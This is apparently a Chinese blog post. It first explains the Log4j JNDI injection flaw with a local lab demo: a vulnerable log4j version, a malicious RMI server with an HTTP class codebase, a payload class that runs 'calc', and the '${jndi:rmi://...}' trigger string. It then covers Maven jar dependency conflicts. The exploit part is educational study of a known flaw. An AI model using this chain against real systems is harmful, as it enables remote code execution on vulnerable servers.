去年的log4j漏洞是怎么回事、maven中jar包冲突问题
常规操作
首先配置依赖:
此处选版本还是有漏洞的版本。
<properties>
<log4.version>2.14.0</log4.version>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4.version}</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4.version}</version>
</dependency>
</dependencies>
可能需要一些配置,放在log4j2.properties
里。
尝试常规打印操作:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class Solution {
private static final Logger logger = LogManager.getLogger(Solution.class);
// Solution.class: 追踪产生此日志的类.
public static void main(String[] args) {
String userName = "orzlinux.cn";
logger.info("我的网站是:{}",userName);
// output:
// 2022-03-17 10:12:12 INFO Solution:12 - 我的网站是:orzlinux.cn
}
}
开始不对劲
public static void main(String[] args) {
String userName = "${java:os}";
logger.info("我的网站是:{}",userName);
// output:
// 2022-03-17 10:19:32 INFO Solution:13 - 我的网站是:Windows 10 10.0, architecture: amd64-64
}
JNDI
The Java Naming and Directory Interface,是一组在java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,可以通过名称访问对象。
例如RMI远程调用的形式。
Naming
- Bindings:一个名称和对应的对象的绑定关系
- Context:上下文,一个上下文对应着一组名称到对象的绑定关系。例如文件系统中,一个目录就是一个上下文。子目录也可以称为一个上下文。
- References:有些对象可能无法直接存储在系统里,就以引用的形式存储。
Dorectory
目录服务可以看做是名称服务的一种扩展,除了名称服务中已有的名称到对象的关联信息之外,还允许对象拥有属性信息,所以不仅可以根据名称查找对象(lookup),还可以根据属性值去搜索对象(search)。
例如打印服务,在命名服务中,可以根据打印机名称去获取打印机对象的引用,然后进行打印操作;同时打印机有速率,分辨率,颜色这些属性,作为目录服务,用户可以根据打印机的属性去搜索响应的打印机对象。
API
RMI
Remote Method Invocation,java自带的远程调用框架。
以前有过笔记:RMI和JMX - hqinglau的博客
JNDI注入
前面RMI里面,服务端可以绑定一个对象,在客户端进行查找额时候以序列化的方式返回。也可以绑定一个对象的引用,让客户端去指定地址获取对象。
整体流程
server
public class Server{
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException, InterruptedException {
Registry registry = LocateRegistry.createRegistry(8181);
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Reference reference = new Reference("Inject", "Inject", "http://127.0.0.1:9999/");
// 位于另外的服务器,例如用一个python启动:python3 http.server -m 9999, 便可以简单的通过网络传输class文件
// 客户发起rmi请求之后,会尝试从http://127.0.0.1:9999/Inject.class获取并加载文件
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.rebind("inject", wrapper);
System.out.println("服务已启动");
Thread.currentThread().join();
}
public Server() {}
}
启动文件服务
D:\Users\javaProjects\javaLearn\src\main\java> python3 -m http.server 9999
示例:
client
public class Client {
private Client() {}
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
// 使用JDNI在命名服务中发布引用
Hashtable env = new Hashtable();
// 在新版本java中,有rmi限制,此处只是举个注入例子,应有其他方法注入
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8181");
InitialContext context = new InitialContext(env);
Object obj = context.lookup("rmi://127.0.0.1:8181/inject");
System.out.println(obj);
}
}
public class Inject {
static {
System.out.println("I can do anything.");
}
}
打印出了:
I can do anything.
如果里面是计算机指令呢?
public class Inject {
static {
try {
//打开计算机
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("I can do anything.");
}
}
运行client之后,自动打开了计算器。
这个就比较可怕了。
回到log4j
class Solution {
private static final Logger logger = LogManager.getLogger(Solution.class);
// Solution.class: 追踪产生此日志的类.
public static void main(String[] args) {
String userName = "${jndi:rmi://127.0.0.1:8181/inject}";
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("my name is: {}",userName);
}
}
输出是:
I can do anything.
2022-03-17 12:02:52 INFO Solution:14 - my name is: ${jndi:rmi://127.0.0.1:8181/inject}
同时,还打开了计算器。
==maven jar包冲突==
模拟冲突
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.2.3.RELEASE</version>
</dependency>
依赖图:
可以看到,依赖了一个5.2.3版本的jcl。
如果pom.xml中又有了一个低版本的jcl呢?
出现了依赖冲突:
如何解决
把冲突的依赖排除<exclusion>
:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.2.3.RELEASE</version>
<exclusions>
<exclusion>
<groupId>org.springframework</groupId>
<artifactId>spring-jcl</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jcl</artifactId>
<version>5.0.0.RELEASE</version>
</dependency>
然后就正常了。
maven的jar包管理机制
依赖传递
当在Maven项目中引入A的依赖,A的依赖通常又会引入B的jar包,B可能还会引入C的jar包。这样,当你在pom.xml文件中添加了A的依赖,Maven会自动的帮你把所有相关的依赖都添加进来。
最短路径优先
依据依赖的长短决定引入哪个依赖(两个冲突的依赖)。
最先声明优先原则
如果两个依赖的路径一样,最短路径优先原则是无法进行判断的,此时需要使用最先声明优先原则,也就是说,谁的声明在前则优先选择。
jar包冲突
依赖链路一:A -> B -> C -> G21(guava 21.0)
依赖链路二:D -> F -> G20(guava 20.0)
按照maven的jar包管理机制,会使G20,如果C用到了21的一些新特性,就会抛出异常。
此时可以根据刚才模拟解决冲突的方法查看冲突的依赖,然后排除老版本。
统一jar包依赖
如果一个项目有多个子项目,可采用父pom对版本统一管理。
比如在父pom.xml中定义Lombok的版本:
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.10</version>
</dependency>
</dependencies>
</dependencyManagement>
在子module中便可定义如下:
<dependencies>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</dependency>
</dependencies>
通过这种方式,所有的子module中都采用了统一的版本。
或者dependencyManagement。